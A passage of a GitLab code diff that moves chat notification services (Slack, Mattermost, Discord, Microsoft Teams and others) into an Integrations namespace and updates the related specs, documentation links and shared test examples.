-This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+<!-- This redirect file can be deleted after <2021-07-04>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 30b908d3495..647618a4057 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -778,7 +778,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md
index 5e47f545ef9..b10502ebec7 100644
--- a/doc/user/application_security/dast_api/index.md
+++ b/doc/user/application_security/dast_api/index.md
@@ -847,7 +847,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
index 0c139f30a0b..784c12a89fc 100644
--- a/lib/api/helpers/services_helpers.rb
+++ b/lib/api/helpers/services_helpers.rb
@@ -783,29 +783,29 @@ module API
::Integrations::Confluence,
::Integrations::CustomIssueTracker,
::Integrations::Datadog,
+ ::Integrations::Discord,
::Integrations::DroneCi,
::Integrations::EmailsOnPush,
::Integrations::Ewm,
::Integrations::ExternalWiki,
::Integrations::Flowdock,
+ ::Integrations::HangoutsChat,
::Integrations::Irker,
::Integrations::Jenkins,
::Integrations::Jira,
+ ::Integrations::Mattermost,
+ ::Integrations::MicrosoftTeams,
::Integrations::Packagist,
::Integrations::PipelinesEmail,
::Integrations::Pivotaltracker,
::Integrations::Redmine,
+ ::Integrations::Slack,
::Integrations::Teamcity,
::Integrations::Youtrack,
- ::DiscordService,
- ::HangoutsChatService,
::MattermostSlashCommandsService,
::SlackSlashCommandsService,
::PrometheusService,
- ::PushoverService,
- ::SlackService,
- ::MattermostService,
- ::MicrosoftTeamsService
+ ::PushoverService
]
end
diff --git a/lib/gitlab/integrations/sti_type.rb b/lib/gitlab/integrations/sti_type.rb
index f043a8fa060..c5f38372777 100644
--- a/lib/gitlab/integrations/sti_type.rb
+++ b/lib/gitlab/integrations/sti_type.rb
@@ -5,8 +5,9 @@ module Gitlab
class StiType < ActiveRecord::Type::String
NAMESPACED_INTEGRATIONS = Set.new(%w(
Asana Assembla Bamboo Bugzilla Buildkite Campfire Confluence CustomIssueTracker Datadog
- DroneCi EmailsOnPush Ewm ExternalWiki Flowdock IssueTracker Irker Jenkins Jira MockCi Packagist
- PipelinesEmail Pivotaltracker Redmine Teamcity Youtrack
+ Discord DroneCi EmailsOnPush Ewm ExternalWiki Flowdock HangoutsChat IssueTracker Irker
+ Jenkins Jira Mattermost MicrosoftTeams MockCi Packagist PipelinesEmail Pivotaltracker
+ Redmine Slack Teamcity UnifyCircuit Youtrack WebexTeams
)).freeze
def cast(value)
diff --git a/lib/gitlab/patch/hangouts_chat_http_override.rb b/lib/gitlab/patch/hangouts_chat_http_override.rb
new file mode 100644
index 00000000000..20dc678e251
--- /dev/null
+++ b/lib/gitlab/patch/hangouts_chat_http_override.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Patch
+ module HangoutsChatHTTPOverride
+ attr_reader :uri
+
+ # See https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb
+ def post(payload)
+ httparty_response = Gitlab::HTTP.post(
+ uri,
+ body: payload.to_json,
+ headers: { 'Content-Type' => 'application/json' },
+ parse: nil # Disables automatic response parsing
+ )
+ httparty_response.response
+ # The rest of the integration expects a Net::HTTP response
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/slash_commands/presenters/base.rb b/lib/gitlab/slash_commands/presenters/base.rb
index b8affb42372..d28b5fb509a 100644
--- a/lib/gitlab/slash_commands/presenters/base.rb
+++ b/lib/gitlab/slash_commands/presenters/base.rb
@@ -63,7 +63,7 @@ module Gitlab
# Convert Markdown to slacks format
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(string)
+ ::Slack::Messenger::Util::LinkFormatter.format(string)
end
def resource_url
diff --git a/lib/mattermost/error.rb b/lib/mattermost.rb
index 054bd5457bd..054bd5457bd 100644
--- a/lib/mattermost/error.rb
+++ b/lib/mattermost.rb
diff --git a/lib/mattermost/client.rb b/lib/mattermost/client.rb
index 7fb959a149c..a5c1f788c68 100644
--- a/lib/mattermost/client.rb
+++ b/lib/mattermost/client.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Mattermost
- ClientError = Class.new(Mattermost::Error)
+ ClientError = Class.new(::Mattermost::Error)
class Client
attr_reader :user
@@ -11,7 +11,7 @@ module Mattermost
end
def with_session(&blk)
- Mattermost::Session.new(user).with_session(&blk)
+ ::Mattermost::Session.new(user).with_session(&blk)
end
private
@@ -52,12 +52,12 @@ module Mattermost
json_response = Gitlab::Json.parse(response.body, legacy_mode: true)
unless response.success?
- raise Mattermost::ClientError, json_response['message'] || 'Undefined error'
+ raise ::Mattermost::ClientError, json_response['message'] || 'Undefined error'
end
json_response
rescue JSON::JSONError
- raise Mattermost::ClientError, 'Cannot parse response'
+ raise ::Mattermost::ClientError, 'Cannot parse response'
end
end
end
diff --git a/lib/mattermost/session.rb b/lib/mattermost/session.rb
index 523d82f9161..9374c5c8f8f 100644
--- a/lib/mattermost/session.rb
+++ b/lib/mattermost/session.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
module Mattermost
- class NoSessionError < Mattermost::Error
+ class NoSessionError < ::Mattermost::Error
def message
'No session could be set up, is Mattermost configured with Single Sign On?'
end
end
- ConnectionError = Class.new(Mattermost::Error)
+ ConnectionError = Class.new(::Mattermost::Error)
# This class' prime objective is to obtain a session token on a Mattermost
# instance with SSO configured where this GitLab instance is the provider.
@@ -42,7 +42,7 @@ module Mattermost
yield self
rescue Errno::ECONNREFUSED => e
Gitlab::AppLogger.error(e.message + "\n" + e.backtrace.join("\n"))
- raise Mattermost::NoSessionError
+ raise ::Mattermost::NoSessionError
ensure
destroy
end
@@ -100,11 +100,11 @@ module Mattermost
end
def create
- raise Mattermost::NoSessionError unless oauth_uri
- raise Mattermost::NoSessionError unless token_uri
+ raise ::Mattermost::NoSessionError unless oauth_uri
+ raise ::Mattermost::NoSessionError unless token_uri
@token = request_token
- raise Mattermost::NoSessionError unless @token
+ raise ::Mattermost::NoSessionError unless @token
@headers = {
Authorization: "Bearer #{@token}"
@@ -174,9 +174,9 @@ module Mattermost
def handle_exceptions
yield
rescue Gitlab::HTTP::Error => e
- raise Mattermost::ConnectionError, e.message
+ raise ::Mattermost::ConnectionError, e.message
rescue Errno::ECONNREFUSED => e
- raise Mattermost::ConnectionError, e.message
+ raise ::Mattermost::ConnectionError, e.message
end
def parse_cookie(response)
diff --git a/lib/microsoft_teams/notifier.rb b/lib/microsoft_teams/notifier.rb
index 39005f56dcb..299e3eeb953 100644
--- a/lib/microsoft_teams/notifier.rb
+++ b/lib/microsoft_teams/notifier.rb
@@ -32,7 +32,7 @@ module MicrosoftTeams
result['title'] = title
result['summary'] = summary
- result['sections'] << MicrosoftTeams::Activity.new(**activity).prepare
+ result['sections'] << ::MicrosoftTeams::Activity.new(**activity).prepare
unless attachments.blank?
result['sections'] << { text: attachments }
diff --git a/spec/controllers/projects/mattermosts_controller_spec.rb b/spec/controllers/projects/mattermosts_controller_spec.rb
index 10bcee28f71..019ae19bf72 100644
--- a/spec/controllers/projects/mattermosts_controller_spec.rb
+++ b/spec/controllers/projects/mattermosts_controller_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe Projects::MattermostsController do
context 'the request is succesull' do
before do
- allow_next_instance_of(Mattermost::Command) do |instance|
+ allow_next_instance_of(::Mattermost::Command) do |instance|
allow(instance).to receive(:create).and_return('token')
end
end
diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb
index 642c76abe79..f8474ab1082 100644
--- a/spec/controllers/projects/services_controller_spec.rb
+++ b/spec/controllers/projects/services_controller_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe Projects::ServicesController do
let(:service) { project.create_microsoft_teams_service(webhook: 'http://webhook.com') }
it 'returns success' do
- allow_any_instance_of(MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
+ allow_any_instance_of(::MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
put :test, params: project_params
@@ -145,7 +145,7 @@ RSpec.describe Projects::ServicesController do
end
it 'returns an error response when a network exception is raised' do
- expect_next(SlackService).to receive(:test).and_raise(Errno::ECONNREFUSED)
+ expect_next(Integrations::Slack).to receive(:test).and_raise(Errno::ECONNREFUSED)
put :test, params: project_params
diff --git a/spec/factories/integrations.rb b/spec/factories/integrations.rb
index 77f73fa4d76..e8ecc247dc5 100644
--- a/spec/factories/integrations.rb
+++ b/spec/factories/integrations.rb
@@ -160,7 +160,7 @@ FactoryBot.define do
password { 'my-secret-password' }
end
- factory :slack_service do
+ factory :slack_service, class: 'Integrations::Slack' do
project
active { true }
webhook { 'https://slack.service.url' }
diff --git a/spec/features/boards/sidebar_assignee_spec.rb b/spec/features/boards/sidebar_assignee_spec.rb
index d6adefea6e3..63553cec89b 100644
--- a/spec/features/boards/sidebar_assignee_spec.rb
+++ b/spec/features/boards/sidebar_assignee_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Project issue boards sidebar assignee', :js do
+RSpec.describe 'Project issue boards sidebar assignee', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332230' do
include BoardHelpers
let_it_be(:user) { create(:user) }
diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
index 0cba1ee1c4c..dec83ff1489 100644
--- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'User activates Slack notifications', :js do
end
context 'when service is already configured' do
- let(:service) { SlackService.new }
+ let(:service) { Integrations::Slack.new }
let(:project) { create(:project, slack_service: service) }
before do
diff --git a/spec/lib/mattermost/client_spec.rb b/spec/lib/mattermost/client_spec.rb
index 32755d1103c..5d57a226baf 100644
--- a/spec/lib/mattermost/client_spec.rb
+++ b/spec/lib/mattermost/client_spec.rb
@@ -14,13 +14,13 @@ RSpec.describe Mattermost::Client do
it 'yields an error on malformed JSON' do
bad_json = Struct::Request.new("I'm not json", true)
- expect { subject.send(:json_response, bad_json) }.to raise_error(Mattermost::ClientError)
+ expect { subject.send(:json_response, bad_json) }.to raise_error(::Mattermost::ClientError)
end
it 'shows a client error if the request was unsuccessful' do
bad_request = Struct::Request.new("true", false)
- expect { subject.send(:json_response, bad_request) }.to raise_error(Mattermost::ClientError)
+ expect { subject.send(:json_response, bad_request) }.to raise_error(::Mattermost::ClientError)
end
end
end
diff --git a/spec/lib/mattermost/command_spec.rb b/spec/lib/mattermost/command_spec.rb
index 0f2711e0b11..18cd1ff97a6 100644
--- a/spec/lib/mattermost/command_spec.rb
+++ b/spec/lib/mattermost/command_spec.rb
@@ -6,10 +6,10 @@ RSpec.describe Mattermost::Command do
let(:params) { { 'token' => 'token', team_id: 'abc' } }
before do
- session = Mattermost::Session.new(nil)
+ session = ::Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
.and_yield(session)
end
@@ -57,7 +57,7 @@ RSpec.describe Mattermost::Command do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'This trigger word is already in use. Please choose another word.')
+ expect { subject }.to raise_error(::Mattermost::Error, 'This trigger word is already in use. Please choose another word.')
end
end
end
diff --git a/spec/lib/mattermost/session_spec.rb b/spec/lib/mattermost/session_spec.rb
index 67ccb48e3a7..e2e1b4c28c7 100644
--- a/spec/lib/mattermost/session_spec.rb
+++ b/spec/lib/mattermost/session_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Mattermost::Session, type: :request do
context 'without oauth uri' do
it 'makes a request to the oauth uri' do
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
end
@@ -49,7 +49,7 @@ RSpec.describe Mattermost::Session, type: :request do
it 'can not create a session' do
expect do
subject.with_session
- end.to raise_error(Mattermost::NoSessionError)
+ end.to raise_error(::Mattermost::NoSessionError)
end
end
@@ -113,13 +113,13 @@ RSpec.describe Mattermost::Session, type: :request do
expect_to_cancel_exclusive_lease(lease_key, 'uuid')
# Cannot set up a session, but we should still cancel the lease
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
it 'returns a NoSessionError error without lease' do
stub_exclusive_lease_taken(lease_key)
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
end
end
diff --git a/spec/lib/mattermost/team_spec.rb b/spec/lib/mattermost/team_spec.rb
index e3ef5ff5377..b2db770c9b9 100644
--- a/spec/lib/mattermost/team_spec.rb
+++ b/spec/lib/mattermost/team_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Mattermost::Team do
session = Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
.and_yield(session)
end
@@ -65,7 +65,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'Cannot list teams.')
+ expect { subject }.to raise_error(::Mattermost::Error, 'Cannot list teams.')
end
end
end
@@ -123,7 +123,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'A team with that name already exists')
+ expect { subject }.to raise_error(::Mattermost::Error, 'A team with that name already exists')
end
end
end
@@ -169,7 +169,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, "We couldn't find the existing team")
+ expect { subject }.to raise_error(::Mattermost::Error, "We couldn't find the existing team")
end
end
end
diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb
index f9860a911c2..7233f6093b7 100644
--- a/spec/models/integration_spec.rb
+++ b/spec/models/integration_spec.rb
@@ -672,7 +672,7 @@ RSpec.describe Integration do
expect(described_class.service_name_to_model('asana')).to eq(Integrations::Asana)
# TODO We can remove this test when all models have been namespaced:
# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60968#note_570994955
- expect(described_class.service_name_to_model('webex_teams')).to eq(WebexTeamsService)
+ expect(described_class.service_name_to_model('pushover')).to eq(PushoverService)
end
it 'raises an error if service name is invalid' do
diff --git a/spec/models/project_services/chat_notification_service_spec.rb b/spec/models/integrations/base_chat_notification_spec.rb
index 192b1df33b5..656eaa3bbdd 100644
--- a/spec/models/project_services/chat_notification_service_spec.rb
+++ b/spec/models/integrations/base_chat_notification_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ChatNotificationService do
+RSpec.describe Integrations::BaseChatNotification do
describe 'Associations' do
before do
allow(subject).to receive(:activated?).and_return(true)
diff --git a/spec/models/project_services/discord_service_spec.rb b/spec/models/integrations/discord_spec.rb
index ffe0a36dcdc..bff6a8ee5b2 100644
--- a/spec/models/project_services/discord_service_spec.rb
+++ b/spec/models/integrations/discord_spec.rb
@@ -2,8 +2,8 @@
require "spec_helper"
-RSpec.describe DiscordService do
- it_behaves_like "chat service", "Discord notifications" do
+RSpec.describe Integrations::Discord do
+ it_behaves_like "chat integration", "Discord notifications" do
let(:client) { Discordrb::Webhooks::Client }
let(:client_arguments) { { url: webhook_url } }
let(:payload) do
diff --git a/spec/models/project_services/hangouts_chat_service_spec.rb b/spec/models/integrations/hangouts_chat_spec.rb
index 9d3bd457fc8..17b40c484f5 100644
--- a/spec/models/project_services/hangouts_chat_service_spec.rb
+++ b/spec/models/integrations/hangouts_chat_spec.rb
@@ -2,8 +2,8 @@
require "spec_helper"
-RSpec.describe HangoutsChatService do
- it_behaves_like "chat service", "Hangouts Chat" do
+RSpec.describe Integrations::HangoutsChat do
+ it_behaves_like "chat integration", "Hangouts Chat" do
let(:client) { HangoutsChat::Sender }
let(:client_arguments) { webhook_url }
let(:payload) do
diff --git a/spec/models/project_services/mattermost_service_spec.rb b/spec/models/integrations/mattermost_spec.rb
index af1944ea77d..f3e7446897a 100644
--- a/spec/models/project_services/mattermost_service_spec.rb
+++ b/spec/models/integrations/mattermost_spec.rb
@@ -2,6 +2,6 @@
require 'spec_helper'
-RSpec.describe MattermostService do
+RSpec.describe Integrations::Mattermost do
it_behaves_like "slack or mattermost notifications", "Mattermost"
end
diff --git a/spec/models/project_services/microsoft_teams_service_spec.rb b/spec/models/integrations/microsoft_teams_spec.rb
index 5f3a94a5b99..2f1be233eb2 100644
--- a/spec/models/project_services/microsoft_teams_service_spec.rb
+++ b/spec/models/integrations/microsoft_teams_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MicrosoftTeamsService do
+RSpec.describe Integrations::MicrosoftTeams do
let(:chat_service) { described_class.new }
let(:webhook_url) { 'https://example.gitlab.com/' }
@@ -64,7 +64,7 @@ RSpec.describe MicrosoftTeamsService do
end
it 'specifies the webhook when it is configured' do
- expect(MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object)
+ expect(::MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object)
chat_service.execute(push_sample_data)
end
diff --git a/spec/models/project_services/slack_service_spec.rb b/spec/models/integrations/slack_spec.rb
index 2e2c1c666d9..2c2e7f03003 100644
--- a/spec/models/project_services/slack_service_spec.rb
+++ b/spec/models/integrations/slack_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe SlackService do
+RSpec.describe Integrations::Slack do
it_behaves_like "slack or mattermost notifications", 'Slack'
describe '#execute' do
diff --git a/spec/models/project_services/unify_circuit_service_spec.rb b/spec/models/integrations/unify_circuit_spec.rb
index 0c749322e07..7a91b2d3c11 100644
--- a/spec/models/project_services/unify_circuit_service_spec.rb
+++ b/spec/models/integrations/unify_circuit_spec.rb
@@ -2,8 +2,8 @@
require "spec_helper"
-RSpec.describe UnifyCircuitService do
- it_behaves_like "chat service", "Unify Circuit" do
+RSpec.describe Integrations::UnifyCircuit do
+ it_behaves_like "chat integration", "Unify Circuit" do
let(:client_arguments) { webhook_url }
let(:payload) do
{
diff --git a/spec/models/project_services/webex_teams_service_spec.rb b/spec/models/integrations/webex_teams_spec.rb
index ed63f5bc48c..b5cba6762aa 100644
--- a/spec/models/project_services/webex_teams_service_spec.rb
+++ b/spec/models/integrations/webex_teams_spec.rb
@@ -2,8 +2,8 @@
require "spec_helper"
-RSpec.describe WebexTeamsService do
- it_behaves_like "chat service", "Webex Teams" do
+RSpec.describe Integrations::WebexTeams do
+ it_behaves_like "chat integration", "Webex Teams" do
let(:client_arguments) { webhook_url }
let(:payload) do
{
diff --git a/spec/models/project_services/mattermost_slash_commands_service_spec.rb b/spec/models/project_services/mattermost_slash_commands_service_spec.rb
index 87befdd4303..bbe985bfe0c 100644
--- a/spec/models/project_services/mattermost_slash_commands_service_spec.rb
+++ b/spec/models/project_services/mattermost_slash_commands_service_spec.rb
@@ -11,10 +11,10 @@ RSpec.describe MattermostSlashCommandsService do
let(:user) { create(:user) }
before do
- session = Mattermost::Session.new(nil)
+ session = ::Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
.and_yield(session)
end
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index c47ab3b797c..d1d42892bec 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -5250,7 +5250,7 @@ RSpec.describe Project, factory_default: :keep do
it 'executes services with the specified scope' do
data = 'any data'
- expect_next_found_instance_of(SlackService) do |instance|
+ expect_next_found_instance_of(Integrations::Slack) do |instance|
expect(instance).to receive(:async_execute).with(data).once
end
@@ -5258,7 +5258,7 @@ RSpec.describe Project, factory_default: :keep do
end
it 'does not execute services that don\'t match the specified scope' do
- expect(SlackService).not_to receive(:allocate).and_wrap_original do |method|
+ expect(Integrations::Slack).not_to receive(:allocate).and_wrap_original do |method|
method.call.tap do |instance|
expect(instance).not_to receive(:async_execute)
end
diff --git a/spec/services/groups/create_service_spec.rb b/spec/services/groups/create_service_spec.rb
index dca5497de06..b59ee894fe8 100644
--- a/spec/services/groups/create_service_spec.rb
+++ b/spec/services/groups/create_service_spec.rb
@@ -140,7 +140,7 @@ RSpec.describe Groups::CreateService, '#execute' do
end
it 'create the chat team with the group' do
- allow_any_instance_of(Mattermost::Team).to receive(:create)
+ allow_any_instance_of(::Mattermost::Team).to receive(:create)
.and_return({ 'name' => 'tanuki', 'id' => 'lskdjfwlekfjsdifjj' })
expect { subject }.to change { ChatTeam.count }.from(0).to(1)
diff --git a/spec/services/groups/destroy_service_spec.rb b/spec/services/groups/destroy_service_spec.rb
index a5fce315d91..c794acdf76d 100644
--- a/spec/services/groups/destroy_service_spec.rb
+++ b/spec/services/groups/destroy_service_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe Groups::DestroyService do
let!(:chat_team) { create(:chat_team, namespace: group) }
it 'destroys the team too' do
- expect_next_instance_of(Mattermost::Team) do |instance|
+ expect_next_instance_of(::Mattermost::Team) do |instance|
expect(instance).to receive(:destroy)
end
diff --git a/spec/support/shared_examples/models/chat_service_shared_examples.rb b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
index 4a47aad0957..9f3be3e2e06 100644
--- a/spec/support/shared_examples/models/chat_service_shared_examples.rb
+++ b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
-RSpec.shared_examples "chat service" do |service_name|
+RSpec.shared_examples "chat integration" do |integration_name|
describe "Associations" do
it { is_expected.to belong_to :project }
it { is_expected.to have_one :service_hook }
end
describe "Validations" do
- context "when service is active" do
+ context "when integration is active" do
before do
subject.active = true
end
@@ -16,7 +16,7 @@ RSpec.shared_examples "chat service" do |service_name|
it_behaves_like "issue tracker service URL attribute", :webhook
end
- context "when service is inactive" do
+ context "when integration is inactive" do
before do
subject.active = false
end
@@ -47,12 +47,12 @@ RSpec.shared_examples "chat service" do |service_name|
WebMock.stub_request(:post, webhook_url)
end
- shared_examples "triggered #{service_name} service" do |branches_to_be_notified: nil|
+ shared_examples "triggered #{integration_name} integration" do |branches_to_be_notified: nil|
before do
subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
end
- it "calls #{service_name} API" do
+ it "calls #{integration_name} API" do
result = subject.execute(sample_data)
expect(result).to be(true)
@@ -63,12 +63,12 @@ RSpec.shared_examples "chat service" do |service_name|
end
end
- shared_examples "untriggered #{service_name} service" do |branches_to_be_notified: nil|
+ shared_examples "untriggered #{integration_name} integration" do |branches_to_be_notified: nil|
before do
subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
end
- it "does not call #{service_name} API" do
+ it "does not call #{integration_name} API" do
result = subject.execute(sample_data)
expect(result).to be(false)
@@ -81,7 +81,7 @@ RSpec.shared_examples "chat service" do |service_name|
Gitlab::DataBuilder::Push.build_sample(project, user)
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
it "specifies the webhook when it is configured", if: defined?(client) do
expect(client).to receive(:new).with(client_arguments).and_return(double(:chat_service).as_null_object)
@@ -95,19 +95,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
@@ -121,19 +121,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
@@ -143,19 +143,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
end
@@ -168,7 +168,7 @@ RSpec.shared_examples "chat service" do |service_name|
service.hook_data(issue, "open")
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with merge events" do
@@ -191,7 +191,7 @@ RSpec.shared_examples "chat service" do |service_name|
project.add_developer(user)
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with wiki page events" do
@@ -207,7 +207,7 @@ RSpec.shared_examples "chat service" do |service_name|
let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) }
let(:sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, "create") }
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with note events" do
@@ -222,7 +222,7 @@ RSpec.shared_examples "chat service" do |service_name|
note: "a comment on a commit")
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with merge request comment" do
@@ -230,7 +230,7 @@ RSpec.shared_examples "chat service" do |service_name|
create(:note_on_merge_request, project: project, note: "merge request note")
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with issue comment" do
@@ -238,7 +238,7 @@ RSpec.shared_examples "chat service" do |service_name|
create(:note_on_issue, project: project, note: "issue note")
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with snippet comment" do
@@ -246,7 +246,7 @@ RSpec.shared_examples "chat service" do |service_name|
create(:note_on_project_snippet, project: project, note: "snippet note")
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
end
@@ -262,14 +262,14 @@ RSpec.shared_examples "chat service" do |service_name|
context "with failed pipeline" do
let(:status) { "failed" }
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
context "with succeeded pipeline" do
let(:status) { "success" }
context "with default notify_only_broken_pipelines" do
- it "does not call #{service_name} API" do
+ it "does not call #{integration_name} API" do
result = subject.execute(sample_data)
expect(result).to be_falsy
@@ -281,7 +281,7 @@ RSpec.shared_examples "chat service" do |service_name|
subject.notify_only_broken_pipelines = false
end
- it_behaves_like "triggered #{service_name} service"
+ it_behaves_like "triggered #{integration_name} integration"
end
end
@@ -291,19 +291,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
